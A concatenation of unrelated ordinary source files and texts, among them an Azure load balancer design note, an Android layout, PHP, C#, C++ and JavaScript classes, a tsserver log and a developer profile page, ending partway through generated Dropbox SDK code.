text:
# Azure LoadBalancer

The way azure define LoadBalancer is different with GCE or AWS. Azure's LB can have multiple frontend IP refs. The GCE and AWS can only allow one, if you want more, you better to have another LB. Because of the fact, Public IP is not part of the LB in Azure. NSG is not part of LB in Azure either. However, you cannot delete them in parallel, Public IP can only be delete after LB's frontend IP ref is removed.

For different Azure Resources, such as LB, Public IP, NSG. They are the same tier azure resources. We need to make sure there is no connection in their own ensure loops. In another words, They would be eventually reconciled regardless of other resources' state. They should only depends on service state.

Despite the ideal philosophy above, we have to face the reality. NSG depends on LB's frontend ip to adjust NSG rules. So when we want to reconcile NSG, the LB should contain the corresponding frontend ip config.

And also, For Azure, we cannot afford to have more than 1 worker of service_controller. Because, different services could operate on the same LB, concurrent execution could result in conflict or unexpected result. For AWS and GCE, they apparently doesn't have the problem, they use one LB per service, no such conflict.

There are two load balancers per availability set internal and external. There is a limit on number of services that can be associated with a single load balancer.
By default primary load balancer is selected. Services can be annotated to allow auto selection of available load balancers. Service annotations can also be used to provide specific availability sets that host the load balancers. Note that in case of auto selection or specific availability set selection, when the availability set is lost in case of downtime or cluster scale down the services are currently not auto assigned to an available load balancer.
Service Annotation for Auto and specific load balancer mode

- service.beta.kubernetes.io/azure-load-balancer-mode" (__auto__|as1,as2...)

## Introduce Functions

- reconcileLoadBalancer(clusterName string, service *v1.Service, nodes []*v1.Node, wantLb bool) (*network.LoadBalancer, error)
  - Go through lb's properties, update based on wantLb
  - If any change on the lb, no matter if the lb exists or not
    - Call az cloud to CreateOrUpdate on this lb, or Delete if nothing left
  - return lb, err

- reconcileSecurityGroup(clusterName string, service *v1.Service, lbIP *string, wantLb bool) (*network.SecurityGroup, error)
  - Go though NSG' properties, update based on wantLb
    - Use destinationIPAddress as target address if possible
    - Consolidate NSG rules if possible
  - If any change on the NSG, (the NSG should always exists)
    - Call az cloud to CreateOrUpdate on this NSG
  - return sg, err

- reconcilePublicIP(clusterName string, service *v1.Service, wantLb bool) (*network.PublicIPAddress, error)
  - List all the public ip in the resource group
  - Make sure we only touch Public IP resources has tags[service] = "namespace/serviceName"
    - skip for wantLb && !isInternal && pipName == desiredPipName
    - delete other public ip resources if any
  - if !isInternal && wantLb
    - ensure Public IP with desiredPipName exists

- getServiceLoadBalancer(service *v1.Service, clusterName string, nodes []*v1.Node, wantLb bool) (lb, status, exists, error)
  - gets the loadbalancer for the service if it already exists
  - If wantLb is TRUE then -it selects a new load balancer, the selection helps distribute the services across load balancers
  - In case the selected load balancer does not exists it returns network.LoadBalancer struct with added metadata (such as name, location) and existsLB set to FALSE
  - By default - cluster default LB is returned

## Define interface behaviors

### GetLoadBalancer

- Get LoadBalancer status, return status, error
  - return the load balancer status for this service
  - it will not create or update or delete any resource

### EnsureLoadBalancer

- Reconcile LB for the flipped service
  - Call reconcileLoadBalancer(clusterName, flipedService, nil, false/* wantLb */)
- Reconcile Public IP
  - Call reconcilePublicIP(cluster, service, true)
- Reconcile LB's related and owned resources, such as FrontEndIPConfig, Rules, Probe.
  - Call reconcileLoadBalancer(clusterName, service, nodes, true /* wantLb */)
- Reconcile NSG rules, it need to be called after reconcileLB
  - Call reconcileSecurityGroup(clusterName, service, lbStatus, true /* wantLb */)

### UpdateLoadBalancer

- Has no difference with EnsureLoadBalancer

### EnsureLoadBalancerDeleted

- Reconcile NSG first, before reconcile LB, because SG need LB to be there
  - Call reconcileSecurityGroup(clusterName, service, nil, false /* wantLb */)
- Reconcile LB's related and owned resources, such as FrontEndIPConfig, Rules, Probe.
  - Call reconcileLoadBalancer(clusterName, service, nodes, false)
- Reconcile Public IP, public IP needs related LB reconciled first
  - Call reconcilePublicIP(cluster, service, false)


text:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context="${relativePackage}.${activityClass}" >

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content" >

        <Button
            android:id="@+id/snap"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:onClick="clickHandler"
            android:text="@string/snap" />

        <Button
            android:id="@+id/quit"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:onClick="clickHandler"
            android:text="@string/quit" />
    </LinearLayout>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="150dp" >

        <SurfaceView
            android:id="@+id/surface_camera"
            android:layout_width="0dp"
            android:layout_height="match_parent"
            android:layout_weight="1" >
        </SurfaceView>

        <ImageView
            android:id="@+id/current_picture"
            android:layout_width="0dp"
            android:layout_height="match_parent"
            android:layout_weight="1"
            android:contentDescription="@string/default_content_description"
            android:onClick="clickHandler" >
        </ImageView>
    </LinearLayout>

</LinearLayout>

redpajama_set_name: RedPajamaGithub


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using com.snippets.Data.Entities;
using com.snippets.Data.Framework;

namespace com.snippets.Data.Repositories
{
    public class TrendRepository : Repository<Trend>, ITrendRepository
    {
        public TrendRepository() : base() { }
        public TrendRepository(snippetsDb Context) : base(Context) { }
    }
}


text:
var Libraries = function (beyond) {
    "use strict";

    var items = {};
    var keys = [];
    Object.defineProperty(this, 'items', {
        'get': function () {
            return items;
        }
    });
    Object.defineProperty(this, 'keys', {
        'get': function () {
            return keys;
        }
    });
    Object.defineProperty(this, 'length', {
        'get': function () {
            return keys.length;
        }
    });

    this.get = function (name) {

        if (items[name]) return items[name];

        var library = new Library(beyond, name);
        items[name] = library;
        keys.push(name);

        return library;

    };

};


text:
// difference between ray start and sphere
// float3 pdiff = p - spherePosition;

// g++ -I /home/r0b3/libs/eigen -c -ffast-math -march=corei7 -O3 -std=c++0x -funroll-loops -ftree-vectorize -ftree-vectorizer-verbose=9 ./RaySphere2.cpp

#pragma once

/*
template<unsigned Size, typename Type>
struct Packed {
	Type data[Size];

	+*
	Type *getAligned16Ptr() {
		return static_cast<float*>(__builtin_assume_aligned(&(data[0]), 16));
	}*+
};
*/

/*
void raySphereForRelativeSphere(const Eigen::Matrix<float, 3, 1> &relativePosition, const Eigen::Matrix<float, 3, 1> &direction, const float &r, float &intersect, float &plus, float &minus) {
	float a = 1.0f; // dir*dir, is 1.0 because dir is assumed to be normalized
	float b = 2.0f * relativePosition.dot(direction);
	float c = relativePosition.dot(relativePosition) - r * r;

	float divTwoA = (1.0f/a)*0.5f;

	float inSqrt = intersect = b*b - 4.0f*a*c;
	float sqrtResult = sqrt(inSqrt);

	plus = (-b + sqrtResult) * divTwoA;
	minus = (-b - sqrtResult) * divTwoA;
}
*/

float dotProduct(float ax, float ay, float az, float bx, float by, float bz);

void raySphereForRelativeSphereVectorized(float *__restrict__ relativePositionX, float *__restrict__ relativePositionY, float *__restrict__ relativePositionZ, float *__restrict__ directionX, float *__restrict__ directionY, float *__restrict__ directionZ, float *__restrict__ r, float *__restrict__ intersect, float *__restrict__ plus, float *__restrict__ minus);

/*
void raySphereForRelativeSpherePacked(const Packed<4, Eigen::Matrix<float, 3, 1>> &relativePosition, const Packed<4, Eigen::Matrix<float, 3, 1>> &direction, const Packed<4, float> &r, Packed<4, float> &intersect, Packed<4, float> &plus, Packed<4, float> &minus) {
	for( unsigned i = 0; i < 4; i++ ) {
		raySphereForRelativeSphere(relativePosition.data[i], direction.data[i], r.data[i], intersect.data[i], plus.data[i], minus.data[i]);
	}
}
*/


text:
// This has been stripped from boost minus the compatibility for borland etc.
//  (C) Copyright Steve Cleary, Beman Dawes, Howard Hinnant & John Maddock 2000.
//  Use, modification and distribution are subject to the Boost Software License,
//  Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
//  http://www.boost.org/LICENSE_1_0.txt).
//
//  See http://www.boost.org/libs/utility for most recent version including documentation.

// call_traits: defines typedefs for function usage
// (see libs/utility/call_traits.htm)

/* Release notes:
23rd July 2000:
Fixed array specialization. (JM)
Added Borland specific fixes for reference types
(issue raised by Steve Cleary).
*/

#ifndef LUABIND_CALL_TRAITS_HPP_INCLUDED
#define LUABIND_CALL_TRAITS_HPP_INCLUDED

namespace luabind {
	namespace detail {

		template <typename T, bool small_>
		struct ct_imp2
		{
			using param_type = const T&;
		};

		template <typename T>
		struct ct_imp2<T, true>
		{
			using param_type = const T;
		};

		template <typename T, bool isp, bool b1, bool b2>
		struct ct_imp
		{
			using param_type = const T&;
		};

		template <typename T, bool isp, bool b2>
		struct ct_imp<T, isp, true, b2>
		{
			using param_type = typename ct_imp2<T, sizeof(T) <= sizeof(void*)>::param_type;
		};

		template <typename T, bool isp, bool b1>
		struct ct_imp<T, isp, b1, true>
		{
			using param_type = typename ct_imp2<T, sizeof(T) <= sizeof(void*)>::param_type;
		};

		template <typename T, bool b1, bool b2>
		struct ct_imp<T, true, b1, b2>
		{
			using param_type = const T;
		};

		template <typename T>
		struct call_traits
		{
		public:
			using value_type      = T;
			using reference       = T&;
			using const_reference = const T&;

			using param_type = typename ct_imp<
				T,
				std::is_pointer<T>::value,
				std::is_integral<T>::value || std::is_floating_point<T>::value,
				std::is_enum<T>::value
			>::param_type;
		};

		template <typename T>
		struct call_traits<T&>
		{
			using value_type      = T&;
			using reference       = T&;
			using const_reference = const T&;
			using param_type      = T&;
		};

		template <typename T, std::size_t N>
		struct call_traits<T[N]>
		{
		private:
			using array_type = T[N];
		public:
			using value_type      = const T*;
			using reference       = array_type&;
			using const_reference = const array_type&;
			using param_type      = const T* const;
		};

		template <typename T, std::size_t N>
		struct call_traits<const T[N]>
		{
		private:
			using array_type = const T[N];
		public:
			using value_type      = const T*;
			using reference       = array_type&;
			using const_reference = const array_type&;
			using param_type      = const T* const;
		};
	}
}

#endif


text:
using namespace glm;

StaticCamera::StaticCamera(glm::vec3 position, glm::vec3 lookAtPoint, glm::vec3 upVector)
	: Camera(), mPosition(position), mLookAtPoint(lookAtPoint), mUpVector(upVector)
{
}

StaticCamera::~StaticCamera()
{
}

void StaticCamera::Update(float dt)
{
	EventManager::EnableMouseCursor();

	glfwSetScrollCallback(EventManager::GetWindow(), scrollCallBack);
}

glm::mat4 StaticCamera::GetViewMatrix() const
{
	return glm::lookAt(	mPosition,		// Camera position
                        mLookAtPoint,	// Look towards this point
                        mUpVector		// Up vector
						);
}


text:
~ semanticweb ~

#### /src:
Alle Java-Files der Applikation zum Auslesen der Daten und Erstellen des RDF-Files.

#### /rdf:
Resultierendes RDF-File.

#### /sparql_requests:
Mögliche SPARQL-Abfragen zum Projekt.

#### /results:
Grafische Aufbereitung der in der Dokumentation erläuterten Abfragen.

#### /doc:
Dokumentations- und Präsentationsunterlagen


text:
<?php
namespace Composer\Installers;

use Composer\Installer\LibraryInstaller;
use Composer\Package\PackageInterface;
use Composer\Repository\InstalledRepositoryInterface;

class Installer extends LibraryInstaller
{
    /**
     * Package types to installer class map
     *
     * @var array
     */
    private $supportedTypes = array(
        'agl'          => 'AglInstaller',
        'annotatecms'  => 'AnnotateCmsInstaller',
        'cakephp'      => 'CakePHPInstaller',
        'codeigniter'  => 'CodeIgniterInstaller',
        'croogo'       => 'CroogoInstaller',
        'drupal'       => 'DrupalInstaller',
        'fuel'         => 'FuelInstaller',
        'joomla'       => 'JoomlaInstaller',
        'kohana'       => 'KohanaInstaller',
        'laravel'      => 'LaravelInstaller',
        'lithium'      => 'LithiumInstaller',
        'magento'      => 'MagentoInstaller',
        'mako'         => 'MakoInstaller',
        'mediawiki'    => 'MediaWikiInstaller',
        'modulework'   => 'MODULEWorkInstaller',
        'oxid'         => 'OxidInstaller',
        'phpbb'        => 'PhpBBInstaller',
        'ppi'          => 'PPIInstaller',
        'silverstripe' => 'SilverStripeInstaller',
        'symfony1'     => 'Symfony1Installer',
        'wordpress'    => 'WordPressInstaller',
        'zend'         => 'ZendInstaller',
        'typo3-flow'   => 'TYPO3FlowInstaller'
    );

    /**
     * {@inheritDoc}
     */
    public function getInstallPath(PackageInterface $package)
    {
        $type = $package->getType();
        $frameworkType = $this->findFrameworkType($type);

        if ($frameworkType === false) {
            throw new \InvalidArgumentException(
                'Sorry the package type of this package is not yet supported.'
            );
        }

        $class = 'Composer\\Installers\\' . $this->supportedTypes[$frameworkType];
        $installer = new $class($package, $this->composer);

        return $installer->getInstallPath($package, $frameworkType);
    }

    public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        $installPath = $this->getInstallPath($package);
        $this->io->write(sprintf('Deleting %s - %s', $installPath, $this->filesystem->removeDirectory($installPath) ? '<comment>deleted</comment>' : '<error>not deleted</error>'));
    }

    /**
     * {@inheritDoc}
     */
    public function supports($packageType)
    {
        $frameworkType = $this->findFrameworkType($packageType);

        if ($frameworkType === false) {
            return false;
        }

        return preg_match('#' . $frameworkType . '-(\w+)#', $packageType, $matches) === 1;
    }

    /**
     * Finds a supported framework type if it exists and returns it
     *
     * @param  string $type
     * @return string
     */
    protected function findFrameworkType($type)
    {
        $frameworkType = false;

        foreach ($this->supportedTypes as $key => $val) {
            if ($key === substr($type, 0, strlen($key))) {
                $frameworkType = substr($type, 0, strlen($key));
                break;
            }
        }

        return $frameworkType;
    }
}


text:
<?php

namespace Test\Calculator\Configuration\Rule;

use FFC\Calculator\Configuration\Rule\Match\DefenseRule;
use FFC\Calculator\Configuration\Rule\Match\HomeRule;
use FFC\Calculator\Configuration\Rule\Match\MidfieldRule;
use FFC\Calculator\Configuration\Rule\RuleFactory;
use FFC\Calculator\Configuration\Rule\Team\BestDefendersRule;
use FFC\Calculator\Configuration\Rule\Team\ForwardRule;
use FFC\Calculator\Configuration\Rule\Team\GoalBonusSince2017Rule;
use PHPUnit\Framework\TestCase;

class RuleFactoryTest extends TestCase
{
    public function dataProvider()
    {
        return [
          [1, BestDefendersRule::class],
          [2, DefenseRule::class],
          [3, ForwardRule::class],
          [4, GoalBonusSince2017Rule::class],
          [5, HomeRule::class],
          [6, MidfieldRule::class],
        ];
    }

    /**
     * @dataProvider dataProvider
     * @param int $type
     * @param string $expectedClass
     */
    public function testCreate($type, $expectedClass)
    {
        $this->assertSame($expectedClass, get_class(RuleFactory::create($type)));
    }

    public function testException()
    {
        $this->expectException(\Exception::class);
        RuleFactory::create(7);
    }
}


text:
Provided types map file "/a/lib/typesMap.json" doesn't exist
request:{"seq":0,"type":"request","command":"open","arguments":{"file":"/user/username/projects/myproject/a.ts"}}
Plugins were requested but not running in environment that supports 'require'. Nothing will be loaded
Starting updateGraphWorker: Project: /dev/null/inferredProject1*
Finishing updateGraphWorker: Project: /dev/null/inferredProject1* Version: 1 structureChanged: true structureIsReused:: Not Elapsed:: *ms
Project '/dev/null/inferredProject1*' (Inferred)
	Files (2)
	/a/lib/lib.d.ts
	/user/username/projects/myproject/a.ts

	a/lib/lib.d.ts
	  Default library for target 'es5'
	user/username/projects/myproject/a.ts
	  Root file specified for compilation

-----------------------------------------------
Project '/dev/null/inferredProject1*' (Inferred)
	Files (2)

-----------------------------------------------
Open files:
	FileName: /user/username/projects/myproject/a.ts ProjectRootPath: undefined
		Projects: /dev/null/inferredProject1*
response:{"responseRequired":false}
request:{"command":"completions","arguments":{"file":"/user/username/projects/myproject/a.ts","line":3,"offset":47},"seq":1,"type":"request"}
getCompletionData: Get current token: *
getCompletionData: Is inside comment: *
getCompletionData: Get previous token: *
getCompletionsAtPosition: isCompletionListBlocker: *
getCompletionData: Semantic work: *
getCompletionsAtPosition: getCompletionEntriesFromSymbols: *
response:{"response":[{"name":"foo","kind":"method","kindModifiers":"","sortText":"11"},{"name":"prop","kind":"property","kindModifiers":"","sortText":"11"}],"responseRequired":true}
request:{"seq":0,"type":"request","command":"open","arguments":{"file":"/user/username/projects/myproject/b.ts"}}
Starting updateGraphWorker: Project: /dev/null/inferredProject1*
Finishing updateGraphWorker: Project: /dev/null/inferredProject1* Version: 2 structureChanged: true structureIsReused:: Not Elapsed:: *ms
Project '/dev/null/inferredProject1*' (Inferred)
	Files (3)
	/a/lib/lib.d.ts
	/user/username/projects/myproject/a.ts
	/user/username/projects/myproject/b.ts

	a/lib/lib.d.ts
	  Default library for target 'es5'
	user/username/projects/myproject/a.ts
	  Root file specified for compilation
	user/username/projects/myproject/b.ts
	  Root file specified for compilation

-----------------------------------------------
Project '/dev/null/inferredProject1*' (Inferred)
	Files (3)

-----------------------------------------------
Open files:
	FileName: /user/username/projects/myproject/a.ts ProjectRootPath: undefined
		Projects: /dev/null/inferredProject1*
	FileName: /user/username/projects/myproject/b.ts ProjectRootPath: undefined
		Projects: /dev/null/inferredProject1*
response:{"responseRequired":false}
request:{"command":"completions","arguments":{"file":"/user/username/projects/myproject/a.ts","line":3,"offset":47},"seq":2,"type":"request"}
getCompletionData: Get current token: *
getCompletionData: Is inside comment: *
getCompletionData: Get previous token: *
getCompletionsAtPosition: isCompletionListBlocker: *
getCompletionData: Semantic work: *
getCompletionsAtPosition: getCompletionEntriesFromSymbols: *
response:{"response":[{"name":"foo","kind":"method","kindModifiers":"","sortText":"11"},{"name":"prop","kind":"property","kindModifiers":"","sortText":"11"}],"responseRequired":true}


text:
from django.conf.urls import url

from miro_core import views

urlpatterns = [
]


text:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
using Amazon.S3;
using Amazon.S3.Model;
using Amazon.S3.Transfer;

namespace Bernos.FileUploader.StorageProviders.S3
{
    public class S3StorageProvider : IStorageProvider
    {
        private const string MetadataHeaderPrefix = "x-amz-meta-";

        private readonly Lazy<AmazonS3Client> _client;
        private readonly S3StorageProviderConfiguration _configuration;

        public S3StorageProvider(S3StorageProviderConfiguration configuration)
        {
            _configuration = configuration;
            _client = new Lazy<AmazonS3Client>(() => _configuration.ClientFactory.CreateClient(_configuration));
        }

        private TransferUtilityUploadRequest PrepareUploadRequest(string path, string contentType,
            Stream inputStream, IEnumerable<KeyValuePair<string, string>> metadata)
        {
            var uploadRequest = new TransferUtilityUploadRequest
            {
                AutoCloseStream = false,
                BucketName = _configuration.BucketName,
                CannedACL = _configuration.StoreObjectsPublicly ? S3CannedACL.PublicRead : S3CannedACL.Private,
                ContentType = contentType,
                Key = _configuration.GetKey(path),
                InputStream = inputStream
            };

            foreach (var kvp in metadata)
            {
                uploadRequest.Metadata.Add(kvp.Key, kvp.Value);
            }

            return uploadRequest;
        }

        public async Task<UploadedFile> SaveAsync(string filename, string folder, string contentType, Stream inputStream, IDictionary<string, string> metadata)
        {
            var path = BuildUploadPath(folder, filename);
            var transferUtility = _configuration.TransferUtilityFactory.CreateTransferUtility(_client.Value);
            var uploadRequest = PrepareUploadRequest(path, contentType, inputStream, metadata);

            await transferUtility.UploadAsync(uploadRequest);

            return new S3UploadedFile(_configuration, path, contentType, metadata);
        }

        public UploadedFile Save(string filename, string folder, string contentType, Stream inputStream, IDictionary<string, string> metadata)
        {
            var path = BuildUploadPath(folder, filename);
            var transferUtility = _configuration.TransferUtilityFactory.CreateTransferUtility(_client.Value);
            var uploadRequest = PrepareUploadRequest(path, contentType, inputStream, metadata);

            transferUtility.Upload(uploadRequest);

            return new S3UploadedFile(_configuration, path, contentType, metadata);
        }

        public UploadedFile Load(string path)
        {
            var request = new GetObjectMetadataRequest
            {
                BucketName = _configuration.BucketName,
                Key = _configuration.GetKey(path)
            };

            try
            {
                var response = _client.Value.GetObjectMetadata(request);
                var contentType = response.Headers.ContentType;
                var metadata = response.Metadata.Keys.ToDictionary(key => key.Substring(MetadataHeaderPrefix.Length), key => response.Metadata[key]);

                return new S3UploadedFile(_configuration, path, contentType, metadata);
            }
            catch (AmazonS3Exception ex)
            {
                if (ex.StatusCode == HttpStatusCode.NotFound)
                {
                    return null;
                }
                throw;
            }
        }

        public bool Delete(string path)
        {
            var request = new DeleteObjectRequest
            {
                BucketName = _configuration.BucketName,
                Key = _configuration.GetKey(path)
            };

            try
            {
                _client.Value.DeleteObject(request);
            }
            catch (AmazonS3Exception ex)
            {
                if (ex.StatusCode == HttpStatusCode.NotFound)
                {
                    return false;
                }
                throw;
            }

            return true;
        }

        private string BuildUploadPath(string folder, string filename)
        {
            return string.IsNullOrEmpty(folder) ? filename : folder.Trim('/') + "/" + filename;
        }
    }
}


text:
define (['angular', 'base64', 'underscore'], function (angular, Base64, _) {
    'use strict';

    return function (module) {
        module.factory('user', ['$cookies', 'dal', '$http', function ($cookies, dal, $http) {
            var currentUser = null;

            function handleJwt(jwt) {
                if (_.isString(jwt)) {
                    $cookies.put('jwt', jwt);
                    var jwtSections = jwt.split(".");
                    var jwtClaimsStr = Base64.decode(jwtSections[1]);
                    currentUser = angular.fromJson(jwtClaimsStr);
                    // todo: should we do this initially on $httpProvider due to race conditions?
                    $http.defaults.headers.common.Authorization = 'JWT ' + jwt;
                }
            }
            handleJwt($cookies.get('jwt'));

            return {
                isLoggedIn: function() {
                    return _.isObject(currentUser);
                },
                currentUser: function() {
                    return currentUser;
                },
                logIn: function(username, password) {
                    return dal.createToken(username, password).then(function (response) {
                        handleJwt(response.token);
                        return currentUser;
                    });
                },
                logOut: function() {
                    currentUser = null;
                    $http.defaults.headers.common.Authorization = undefined;
                    $cookies.remove("jwt");
                }
            };
        }]);
    };
});


text:
About

I specialise in clean, accessible, responsive and optimised code using HTML 5, Sass, and Javascript for websites and webapps. I have experience of libraries such as Foundation, Bootstrap, jQuery and frameworks such as AngularJS and Wordpress. I've worked in the industry for over ten years, including agencies and development houses, which gives me a deep knowledge of processes and development cycles.

About me

I'm a web developer originally from Wellington, New Zealand. I graduated from the National College of Multimedia and Technology whilst I worked part-time for a web production company. I moved to the UK in 2006 and freelanced for a short period before taking up permanent work.

I enjoy the outdoors, camping, cycling, surfing, skiing, tennis, golf, gardening, growing chillies, making jams & chutney, fermenting wine and making beef jerky.

I keep a blog of news and thoughts, a mix of code, baking, technology and travel logs.

My skills

The key to optimised code is the understanding of how it all works.

Not only should a page look great to the user, but so should the code lying beneath. Clean and good looking code makes a page run faster, be helpful to search engines, and also to be accessible for people with physical limitations.

I have a wide set of skills in technology, including web, video and audio but I specialise in precision HTML, CSS and Javascript.

My skills include:

CSS/Sass; styling, mixins, variables, animation (keyframe, transitional and Javascript based), media queries

HTML

Javascript; jQuery, AngularJS, vanilla

Version control; git/svn

Debugging for iOS/Android, and desktop browsers (including IE)

Facebook app/page development

Social media APIs including Twitter, Facebook, Google Maps/Analytics, Stackla

.net Visual Studio with Umbraco CMS; developing in the environment and basic .net controls, MVC ideology

Grunt task runner

Atlassian Jira

Adobe Creative Suite; Master of Photoshop, cutting assets and compressing assets

Terminal

Compression techniques; audio, video, text, images

Final Cut Pro; editing, video compression, video-for-web

Logic; audio composition & programming

Experience with CDNs; Cloudflare, AWS, Akamai


text:
<?php

namespace {

from('Hoa')

/**
 * \Hoa\Xyl\Interpreter\Html\Generic
 */
-> import('Xyl.Interpreter.Html.Generic')

/**
 * \Hoa\Xyl\Element\Executable
 */
-> import('Xyl.Element.Executable');

}

namespace Hoa\Xyl\Interpreter\Html {

/**
 * Class \Hoa\Xyl\Interpreter\Html\Form.
 *
 * The <form /> component.
 *
 * @author     Ivan Enderlin <ivan.enderlin@hoa-project.net>
 * @copyright  Copyright © 2007-2012 Ivan Enderlin.
 * @license    New BSD License
 */

class Form extends Generic implements \Hoa\Xyl\Element\Executable {

    /**
     * Attributes description.
     *
     * @var \Hoa\Xyl\Interpreter\Html\Form array
     */
    protected static $_attributes        = array(
        'accept-charset' => parent::ATTRIBUTE_TYPE_NORMAL,
        'action'         => parent::ATTRIBUTE_TYPE_LINK,
        'autocomplete'   => parent::ATTRIBUTE_TYPE_NORMAL,
        'enctype'        => parent::ATTRIBUTE_TYPE_NORMAL,
        'method'         => parent::ATTRIBUTE_TYPE_NORMAL,
        'name'           => parent::ATTRIBUTE_TYPE_NORMAL,
        'novalidate'     => parent::ATTRIBUTE_TYPE_NORMAL,
        'onerror'        => parent::ATTRIBUTE_TYPE_LIST,
        'target'         => parent::ATTRIBUTE_TYPE_NORMAL
    );

    /**
     * Attributes mapping between XYL and HTML.
     *
     * @var \Hoa\Xyl\Interpreter\Html\Form array
     */
    protected static $_attributesMapping = array(
        'accept-charset',
        'action',
        'autocomplete',
        'enctype',
        'method',
        'name',
        'novalidate',
        'target'
    );

    /**
     * Form data.
     *
     * @var \Hoa\Xyl\Interpreter\Html\Form array
     */
    protected $_formData                 = null;

    /**
     * Whether the form is valid or not.
     *
     * @var \Hoa\Xyl\Interpreter\Html\Form bool
     */
    protected $_validity                 = true;

    /**
     * Pre-execute an element.
     *
     * @access  public
     * @return  void
     */
    public function preExecute ( ) {

        return;
    }

    /**
     * Post-execute an element.
     *
     * @access  public
     * @return  void
     */
    public function postExecute ( ) {

        $this->_formData = array_merge($_GET, $_POST);

        if(true === $this->attributeExists('novalidate'))
            return;

        $inputs          = array_merge(
            $this->xpath('.//__current_ns:input'),
            $this->xpath('.//__current_ns:select'),
            $this->xpath('.//__current_ns:textarea')
        );

        if(empty($this->_formData))
            return;

        foreach($inputs as $input) {

            $input = $this->getConcreteElement($input);
            $name  = $input->readAttribute('name');

            if('[]' == substr($name, -2))
                $name = substr($name, 0, -2);

            if(!isset($this->_formData[$name])) {

                //$input->unsetValue();
                $input->checkValidity();
                $this->_validity = $input->isValid() && $this->_validity;

                continue;
            }

            if(is_array($this->_formData[$name]))
                $value = array_shift($this->_formData[$name]);
            else
                $value = $this->_formData[$name];

            $input->setValue($value);
            $input->checkValidity($value);
            $this->_validity = $input->isValid() && $this->_validity;
        }

        if(true === $this->_validity)
            return;

        $errors = $this->xpath(
            '//__current_ns:error[@id="' .
            implode('" or @id="', $this->abstract->readAttributeAsList('onerror')) .
            '"]'
        );

        foreach($errors as $error)
            $this->getConcreteElement($error)->setVisibility(true);

        return;
    }

    /**
     * Whether the form is valid or not.
     *
     * @access  public
     * @return  bool
     */
    public function isValid ( ) {

        return $this->_validity;
    }

    /**
     * Get a data from the form.
     *
     * @access  public
     * @param   string  $index    Index (if null, return all data).
     * @return  mixed
     */
    public function getFormData ( $index = null ) {

        if(null === $index)
            return $this->_formData;

        if(!isset($this->_formData[$index]))
            return null;

        return $this->_formData[$index];
    }
}

}


text:
/* DO NOT EDIT */
/* This file was generated from files.stone */

package com.dropbox.core.v2.files;

import com.dropbox.core.stone.StoneDeserializerLogger;
import com.dropbox.core.stone.StoneSerializers;
import com.dropbox.core.stone.UnionSerializer;

import com.fasterxml.jackson.core.JsonGenerationException;
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;

import java.io.IOException;
import java.util.Arrays;

/**
 * This class is an open tagged union.  Tagged unions instances are always
 * associated to a specific tag.  This means only one of the {@code isAbc()}
 * methods will return {@code true}. You can use {@link #tag()} to determine the
 * tag associated with this instance.
 *
 * <p> Open unions may be extended in the future with additional tags. If a new
 * tag is introduced that this SDK does not recognized, the {@link #OTHER} value
 * will be used. </p>
 */
public final class DeleteError {
    // union files.DeleteError (files.stone)

    /**
     * Discriminating tag type for {@link DeleteError}.
     */
    public enum Tag {
        PATH_LOOKUP, // LookupError
        PATH_WRITE, // WriteError
        /**
         * There are too many write operations in user's Dropbox. Please retry
         * this request.
         */
        TOO_MANY_WRITE_OPERATIONS,
        /**
         * There are too many files in one request. Please retry with fewer
         * files.
         */
        TOO_MANY_FILES,
        /**
         * Catch-all used for unknown tag values returned by the Dropbox
         * servers.
         *
         * <p> Receiving a catch-all value typically indicates this SDK version
         * is not up to date. Consider updating your SDK version to handle the
         * new tags. </p>
         */
        OTHER; // *catch_all
    }

    /**
     * There are too many write operations in user's Dropbox. Please retry this
     * request.
     */
    public static final DeleteError TOO_MANY_WRITE_OPERATIONS = new DeleteError().withTag(Tag.TOO_MANY_WRITE_OPERATIONS);
    /**
     * There are too many files in one request. Please retry with fewer files.
     */
    public static final DeleteError TOO_MANY_FILES = new DeleteError().withTag(Tag.TOO_MANY_FILES);
    /**
     * Catch-all used for unknown tag values returned by the Dropbox servers.
     *
     * <p> Receiving a catch-all value typically indicates this SDK version is
     * not up to date. Consider updating your SDK version to handle the new
     * tags. </p>
     */
    public static final DeleteError OTHER = new DeleteError().withTag(Tag.OTHER);

    private Tag _tag;
    private LookupError pathLookupValue;
    private WriteError pathWriteValue;

    /**
     * Private default constructor, so that object is uninitializable publicly.
     */
    private DeleteError() {
    }

    /**
     *
     * @param _tag  Discriminating tag for this instance.
     */
    private DeleteError withTag(Tag _tag) {
        DeleteError result = new DeleteError();
        result._tag = _tag;
        return result;
    }

    /**
     *
     * @param pathLookupValue  Must not be {@code null}.
     * @param _tag  Discriminating tag for this instance.
     *
     * @throws IllegalArgumentException  If any argument does not meet its
     *     preconditions.
     */
    private DeleteError withTagAndPathLookup(Tag _tag, LookupError pathLookupValue) {
        DeleteError result = new DeleteError();
        result._tag = _tag;
        result.pathLookupValue = pathLookupValue;
        return result;
    }

    /**
     *
     * @param pathWriteValue  Must not be {@code null}.
     * @param _tag  Discriminating tag for this instance.
     *
     * @throws IllegalArgumentException  If any argument does not meet its
     *     preconditions.
     */
    private DeleteError withTagAndPathWrite(Tag _tag, WriteError pathWriteValue) {
        DeleteError result = new DeleteError();
        result._tag = _tag;
        result.pathWriteValue = pathWriteValue;
        return result;
    }

    /**
     * Returns the tag for this instance.
     *
     * <p> This class is a tagged union.  Tagged unions instances are always
     * associated to a specific tag.  This means only one of the {@code isXyz()}
     * methods will return {@code true}. Callers are recommended to use the tag
     * value in a {@code switch} statement to properly handle the different
     * values for this {@code DeleteError}. </p>
     *
     * <p> If a tag returned by the server is unrecognized by this SDK, the
     * {@link Tag#OTHER} value will be used. </p>
     *
     * @return the tag for this instance.
     */
    public Tag tag() {
        return _tag;
    }

    /**
